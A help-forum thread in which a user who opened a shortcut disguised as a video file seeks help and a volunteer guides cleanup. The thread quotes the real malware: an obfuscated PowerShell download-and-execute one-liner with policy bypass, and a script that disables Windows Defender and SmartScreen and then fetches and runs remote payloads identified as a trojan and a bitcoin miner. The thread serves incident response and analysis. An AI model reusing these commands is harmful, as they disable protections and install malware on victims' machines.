Powershell shortcut virus

[redmal]

I accidentally clicked a avi file that was actually a shortcut that executed a powerscript command that downloaded something, but I'm not sure what it did.  This is the command and the string it downloaded.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -eXec ByP   (('I'+'EX(Ne'+'w-Object '+'S'+'yst'+'em'+'.NET.WebC'+'l'+'ien'+'t).Down'+'l'+'oadstring'+'(f0ghttp:'+'//kli'+'s.icu/'+'f0'+'G)') -CrEplACE 'f0G',[cHar]39)| iex

I can gather it had internet explorer download a string and execute it.  I copy and pasted the string from http://klis.icu/1 here.

1.txt

I immediately disconnected the internet and ran a virus scan, but nothing returned.  I'm not sure what to do next.  Thanks for any assistance!

[redmal]

I also ran some scans and here were the results...

Malwarebytes.txt

FRST.txt

Addition.txt

[nasdaq]

Hello, Welcome to Malwarebytes.
I'm nasdaq and will be helping you.

If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.
===

Please download the attached Fixlist.txt file to  the same folder where the Farbar tool is running from.
The location is listed in the 3rd line of the FRST.txt log you have submitted.

Run FRST and click Fix only once and wait.

The tool will create a log (Fixlog.txt) please post it to your reply.
===

Let me know if the problem persists with this computer.

fixlist.txt

[redmal]

Thanks for the help nasdaq!  I ran FRST with the Fixlist.txt...  Here are the results

Fixlog.txt

Does anyone know what the powershell script did or attempted to do?  

 

[nasdaq]

Hi,

The string is encoding nothing I can do about it.

If your computer is running well then the operating system is OK.

For your peace of mind and security change the password to all important sites.

[redmal]

I had some people look into it and they found this...

First script creates an elevated account and downloads a batch file that downloads another script...

Here's the second script:

reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t REG_DWORD /d "00000000" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /d "Off" /f
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t REG_DWORD /d "00000000" /f
#$iebb = new-object -com "InternetExplorer.Application";$iebb.visible = $false;$iebb.navigate("http://pesk.icu/index.html")
#(New-Object Net.WebClient).DownloadFile("https://s3.amazonaws.com/user-agreement/amazon.exe","$env:temp\sms86.exe")
#start-process -FilePath "$env:temp\sms86.exe" -ArgumentList "/VERYSILENT /MON_ID=5"
#start-sleep -s 8
IEX (New-Object Net.WebClient).Downloadstring("http://qgb.us/view/raw/76d115b1")
#start-sleep -s 8
IEX (New-Object Net.WebClient).Downloadstring("http://qgb.us/view/raw/41cd6acf")
Remove-Item –path "$env:temp\cplskt.bat"

Looks like the last two IEX download a compressed EXE...

First payload is Trojan:Win32/Occamy.C

Second payload is a Razy Variant, which appears to be a bitcoin miner.

[nasdaq]

Hi

The Windows Defender was disabled when you go the script.
This is normal as you were being protected by AVG.
AVG by default will disable WD.

The only way to find out if it was compromised would be to remove AVG and test Windows Defender.
You may not want to do that at the moment. Keep it in mind if and when you delete AVG.
===

Your SmartScreen screen was disabled.
This is also part of Windows Defender.

Other than that I cannot see what else I can contribute.

p.s.
Malwarebytes is installed and if up to date it can protect against Bitcoin Miner.

How is the computer running?

[nasdaq]

Are you still with me?

[AdvancedSetup]

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